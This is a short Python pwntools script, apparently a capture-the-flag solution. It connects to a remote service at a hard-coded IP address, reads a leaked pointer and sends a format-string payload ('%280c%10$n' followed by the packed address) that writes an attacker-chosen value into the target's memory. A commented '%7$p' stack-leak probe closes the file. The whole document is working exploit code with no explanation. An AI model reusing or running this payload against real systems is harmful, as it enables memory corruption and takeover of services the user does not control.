import pwn

port = 0x2013
# p = pwn.process("./client")
# x = raw_input()
p = pwn.remote("212.64.2.70", str(port))
pwn.context(arch = "i686", os = "linux", log_level = "debug")
p.sendline(str(118))
p.recvlines(numlines=7)
s = p.recvline()
ptr = int(s[2:], 16)
x = 280

s = "%280c%10$ncccccc" + pwn.p64(ptr)
print(s)
p.sendline(s)
while(1):
	print(p.recvline())

 # %7$p
